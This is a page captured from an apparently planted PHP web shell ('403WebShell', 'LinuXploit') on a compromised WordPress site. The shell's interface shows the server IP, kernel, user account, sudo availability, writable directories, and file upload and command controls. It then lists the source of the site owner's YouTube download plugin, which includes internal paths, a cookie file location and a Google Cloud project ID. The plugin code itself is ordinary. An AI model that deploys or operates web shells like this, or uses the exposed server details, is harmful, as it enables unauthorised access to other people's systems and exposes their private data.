Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_www/wp-content/plugins/media-manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_www/wp-content/plugins/media-manager/youtube_model.php
<?php

class Youtube_Model {

	private $debug = 0;
	private $url;
	public $caption;
	private $captionpresent;
	public $poster;
	public $title;
	private $body;
	public $debug_output;
	// cookies exported using "Get cookies.txt LOCALLY" plugin from firefox 
	const RUNTIME = ' --js-runtimes node:/var/www/.nvm/versions/node/v24.12.0/bin/node --remote-components ejs:github --cookies /var/www/.cookies.txt ';
//	const RUNTIME = ' --js-runtimes node:/var/www/.nvm/versions/node/v24.12.0/bin/node --remote-components ejs:github  ';

	public function Url() {
		if (func_num_args()) {
			$this->url = func_get_arg(0);
			$this->_downloadPage($this->url);
			return $this;
		}
		return $this->url;
	}
	
	private function _downloadPage($url) {
		if (class_exists('WP_Http_Curl', FALSE)) {		// wordpress
			$curl = new WP_Http_Curl;
			$args = [
				'redirection' => 5,
				'user-agent' => '',
				'stream' => FALSE,
				'filename' => '',
				'decompress' => TRUE,
				'_redirection' => 5,
			];
			$response = $curl->request($url, $args);
			if (is_a($response, 'WP_Error')) {
				var_dump($url);
				var_dump($response);
				exit;
			}
			$this->body = $response['body'];
		} else {										// pkp
			$n = new \CurlObject();
			$n	->Url($url)
				->Redirect(1)
				->Execute();
			$this->body = $n->Body();
		}
		$this->Load();
	}
	
	public function Debug() {
		if (func_num_args()) {
			$this->debug = func_get_arg(0);
			return $this;
		}
		return $this->debug;
	}
		
	public function hasCaption() {
		return !empty($this->caption);
	}
	
	public function Caption() {
		if (empty($this->caption)) return '';
		return $this->loadAutoCaption($this->caption);
	}
	
	public function CaptionPresent() {
		return $this->captionpresent;
	}
	
	public function Load(){
		$this->caption = FALSE;
		$this->poster  = [];
		$this->title   = FALSE;
		$this->captionpresent = 0;
		preg_match_all('~<script.*?>(.*?)</script>~u', $this->body, $scripts);
		foreach($scripts[1] as $index => $block) {
			if (preg_match('~var ytInitialPlayerResponse = (.*?);$~', $block, $match)) {
				$content = $this->scanForEndOfJson($match[1]);
				$content = json_decode($content, TRUE);
				if ($content == NULL) {
					echo 'JSON decode error: ', json_last_error_msg() . "\n\n";
					break;
				}
				
				if (isset($content['captions'])) {
					$temp = $content['captions']['playerCaptionsTracklistRenderer'];
					foreach($temp['captionTracks'] as $caption) {
						if (($caption['kind'] ?? '') == 'asr') {
// 2025.06.29 we can no longer download captions.  extra security fields required: use yt-dlp instead
//							$this->caption = $caption['baseUrl'] . '&fmt=json3&xorb=2&xobt=3&xovt=3';
							$this->captionpresent = 1;
							break;
						}
					}
					if ($this->caption === FALSE) {
						foreach($temp['captionTracks'] as $caption) {
							if (substr($caption['languageCode'], 0, 2) == 'en') {
//								$this->caption = $caption['baseUrl'] . '&fmt=json3&xorb=2&xobt=3&xovt=3';
								$this->captionpresent = 1;
								break;
							}
						}
					}
				}
				if (isset($content['videoDetails'])) {
					$node = $content['videoDetails'];
					$this->title = $node['title'];
					$this->poster = $node['thumbnail']['thumbnails'];
				}
			}
		}
		usort($this->poster, function($a, $b) {
			return $b['height'] - $a['height'];
		});
	}

	
	// 19680 to '00:00:19.680'
	function msToTime($x) {
		$ms = substr($x . '', -3);
		$x = intval($x / 1000);
		$ss = $x % 60;
		$x = intval($x / 60);
		$mm = $x % 60;
		$hh = intval($x / 60);
		return sprintf('%02d:%02d:%02d.%s', $hh, $mm, $ss, $ms);
	}

	// return smallest thumbnail that is at least this height
	public function GetThumbnail($height = -1) {
		$result = FALSE;
		$foundheight = FALSE;
		foreach($this->poster as $item) {
			if ($height == -1) {
				if ($foundheight === FALSE || $item['height'] > $foundheight) {
					$result = $item['url'];
					$foundheight = $item['height'];
				}
			} elseif ($item['height'] >= $height) {
				$result = $item['url'];
				$foundheight = $item['height'];
			}
		}
		if ($result !== FALSE) {
			if (class_exists('WP_Http_Curl', FALSE)) {		// wordpress
				$curl = new WP_Http_Curl;
				$args = [
					'user-agent' => '',
					'stream' => FALSE,
					'filename' => '',
					'redirection' => 5,
					'decompress' => TRUE,
					'_redirection' => 5,
				];
				$response = $curl->request($result, $args);
				$result = $response['body'];
			} else {										// pkp
				$n = new \CurlObject();
				$n	->Url($result)
					->Redirect(1)
					->Execute();
				$result = $n->Body();
			}
		}
		return [$foundheight, $result];
	}
	
	protected function loadAutoCaption($url) {
		if (class_exists('WP_Http_Curl', FALSE)) {		// wordpress
			$curl = new WP_Http_Curl;
			$args = [
				'user-agent' => '',
				'stream' => FALSE,
				'filename' => '',
				'redirection' => 5,
				'decompress' => TRUE,
				'_redirection' => 5,
			];
			$response = $curl->request($url, $args);
			$body = $response['body'];
		} else {										// pkp
			$n = new \CurlObject();
			$n	->Url($url)
				->Redirect(1)
				->Execute();
			$body = $n->Body();
		}
		if ($body == '') die("Unable to download captions");

//		file_put_contents('/mnt/x/caps.txt', $body);
//		$body = file_get_contents('/mnt/x/caps.txt');
		$json = json_decode($body, FALSE);
		$json = $json->events;
		
		$output = '';
		$count = count($json);
		foreach($json as $index => $entry) {
			$dstart = $this->msToTime($entry->tStartMs);
			$duration = $entry->dDurationMs ?? 0;
			if (empty($entry->aAppend) && isset($entry->segs)) {
				if ($index < $count - 1 && !empty($json[$index+1]->aAppend)) {	// the silence is included in the current duration
					$silence = $json[$index+1]->dDurationMs ?? 0;
					if ($duration > $silence) {
						$duration -= $silence;
					}
				}
				$dfinish = $this->msToTime($entry->tStartMs + $duration);	// length includes the subsequent silent period [$entry->aAppend == 1]
				$output .= "{$dstart} --> {$dfinish} align:start position:0%\nx\n";
				$output .= $this->_asText($entry->tStartMs, $entry->segs) . "\n\n";
			} elseif (!empty($entry->aAppend)) {							// this is a period of silence
				$dfinish = $this->msToTime($entry->tStartMs + $duration);
				$output .= "{$dstart} --> {$dfinish} align:start position:0%\n";
				$output .= "x\n\n\n";
			}
		}
		return <<<BLOCK
WEBVTT
Kind: captions
Language: en

$output
BLOCK;
	}
	
	public function _asText($ms, $segs) {
		$result = '';
		foreach($segs as $seg) {
			$pos = $seg->tOffsetMs ?? 0;
			$text = htmlspecialchars($seg->utf8);
			if ($pos) {
				$t = $this->msToTime($ms + $pos);
				$text = "<$t><c>$text</c>";
			}
			$result .= $text;
		}
		return $result;
	}
	
	private function scanForEndOfJson($source) {
		$inquote = FALSE;
		$p = 0;
		$ln = strlen($source);
		while ($p < $ln) {
			$ch = $source[$p]; $p++;
			if ($ch == '"' && $inquote) {
				$inquote = FALSE;
			} elseif ($ch == '"' && !$inquote) {
				$inquote = TRUE;
			} elseif ($ch == ';' && !$inquote) {
				return substr($source, 0, $p - 1);
			}
		}
		return $source;
	}
	
	
# admin@his:  https://console.cloud.google.com/iam-admin/quotas?authuser=5&project=noted-door-322222

# list videos:  1 unit
# update video 50 units.

	// requires: composer require google/apiclient:^2.0
	// you get 10,000 quota units per day and each upload costs 1600 units.
	// so this is not worthwhile
	public function UploadVideo($client, $localfilename, $ident) {
		try {
			// Define an object that will be used to make all API requests 
			$youtube = new Google_Service_YouTube($client); 

			// Create a snippet with title, description, tags and category ID
			// Create an asset resource and set its snippet metadata and type.
			// This example sets the video's title, description, keyword tags, and
			// video category.
			$snippet = new Google_Service_YouTube_VideoSnippet();
			$snippet->setTitle($ident);
			$snippet->setDescription('');
			$snippet->setTags([]);

			// Numeric video category. See
			// https://developers.google.com/youtube/v3/docs/videoCategories/list
			$snippet->setCategoryId('22');	// 	People & Blogs

			// Set the video's status to "public". Valid statuses are "public",
			// "private" and "unlisted".
			$status = new Google_Service_YouTube_VideoStatus();
			$status->privacyStatus = 'unlisted';

			// Associate the snippet and status objects with a new video resource.
			$video = new Google_Service_YouTube_Video();
			$video->setSnippet($snippet);
			$video->setStatus($status);

			// Specify the size of each chunk of data, in bytes. Set a higher value for
			// reliable connection as fewer chunks lead to faster uploads. Set a lower
			// value for better recovery on less reliable connections.
			$chunkSizeBytes = 2 * 1024 * 1024;

			// Setting the defer flag to true tells the client to return a request which can be called
			// with ->execute(); instead of making the API call immediately.
			$client->setDefer(true);

			// Create a request for the API's videos.insert method to create and upload the video.
			$insertRequest = $youtube->videos->insert("status,snippet", $video);

			// Create a MediaFileUpload object for resumable uploads.
			$media = new Google_Http_MediaFileUpload(
				$client,
				$insertRequest,
				'video/*',
				null,
				true,
				$chunkSizeBytes
			);
			$media->setFileSize(filesize($localfilename));


			// Read the media file and upload it chunk by chunk.
			$status = false;
			$handle = fopen($localfilename, 'rb');
			while (!$status && !feof($handle)) {
			  $chunk = fread($handle, $chunkSizeBytes);
			  $status = $media->nextChunk($chunk);
			}

			fclose($handle);

			// If you want to make other calls after the file upload, set setDefer back to false
			$client->setDefer(false);

			if (!empty($status) && !empty($status->id)) {
				return $status->id;
			}
		} catch (Google_Service_Exception $e) {
			$msg = json_decode($e->getMessage(), TRUE);
			return [
				'result' => 19401,
				'message' => sprintf('A service error occurred: %s', $msg['error']['message']),
			];
		} catch (Google_Exception $e) {
			$msg = json_decode($e->getMessage(), TRUE);
			return [
				'result' => 19402,
				'message' => sprintf('A client error occurred: %s', $msg['error']['message']),
			];
		}
		return FALSE;
	}
	
	// gets the videoid and title for uploaded videos
	// https://stackoverflow.com/questions/18953499/youtube-api-to-fetch-all-videos-on-a-channel/27872244#27872244
	public function ListVideos($client) {
		$youtube = new Google_Service_YouTube($client); 
		
		$yt_channels = $youtube->channels->listChannels('contentDetails', ['mine' => TRUE] );
		$playlist = $yt_channels[0]->contentDetails->relatedPlaylists->uploads;
		$yt_results = $youtube->playlistItems->listPlaylistItems('snippet', [
			'playlistId' => $playlist,
			'maxResults' => 50,
		]);
		$result = [];
		foreach ($yt_results['items'] as $playlistItem) {
			$hash = preg_match('~([0-9a-f]{8})~', $playlistItem['snippet']['title'], $match) ? $match[1] : '';
			$result[] = [
				'title' => $playlistItem['snippet']['title'],
				'id'	=> $playlistItem['snippet']['resourceId']['videoId'],
				'hash'	=> $hash,
			];
		}
		return $result;
	}
	
	private function getYoutubeTemp($prefix = 'mp4') {
		$path = ABSPATH . '/wp-content/uploads/youtube';
		@mkdir($path);
		$temp = tempnam($path, $prefix);
		return $temp;
	}
	
	// download the video, return name of temp file
	public function DownloadVideo() {
		$temp = $this->getYoutubeTemp('mp4');
		$filename_temp = $temp . '.mp4';
		$safe = escapeshellarg($temp);
		$url = escapeshellarg($this->url);
		$command = 'yt-dlp ' . static::RUNTIME . " -4 -o $safe --force-overwrites --no-write-subs -N 32 -S \"height:720\" -t mp4 $url";			// could be mkv format
		$this->debug_output = $command . "\n\n" . `$command 2>&1`;
		
		if (file_exists($filename_temp) && filesize($filename_temp)) return $filename_temp;
		
//		@unlink($temp);
//		return $filename_temp;
		return $temp;
	}

	// download the captions, return name of temp file
	public function DownloadVTT() {
		$temp = $this->getYoutubeTemp('vtt');
		$safe = escapeshellarg($temp);
		$url = escapeshellarg($this->url);
		// not using web player: web player requires potc/pot hashes. other players do not. 
		$command = 'yt-dlp ' . static::RUNTIME . " -o $safe  --force-overwrites --no-download --sub-lang \"en.*\" --write-auto-subs --extractor-args \"youtube:player_client=default,-web\" $url";
		echo "$command\n";
		$this->debug_output = `$command 2>&1`;
		@unlink($temp);
		return "{$temp}.en.vtt";
	}
	
}

/*

https://github.com/yt-dlp/yt-dlp?tab=readme-ov-file#installation

Download video and captions using yt-dlp:

1. Video: 			// this should handle live video

	yt-dlp --trim-filenames 16 --restrict-filenames --no-write-subs -N 32 -S "height:720" 'https://www.youtube.com/watch?v=soNrKb-hFhk'

2. Captions:		// this doesn't handle live video

	yt-dlp --trim-filenames 16 --restrict-filenames --no-download --write-auto-subs --extractor-args "youtube:player_client=default,-web" 'https://www.youtube.com/watch?v=soNrKb-hFhk'
 
*/

Youez - 2016 - github.com/yon3zu
LinuXploit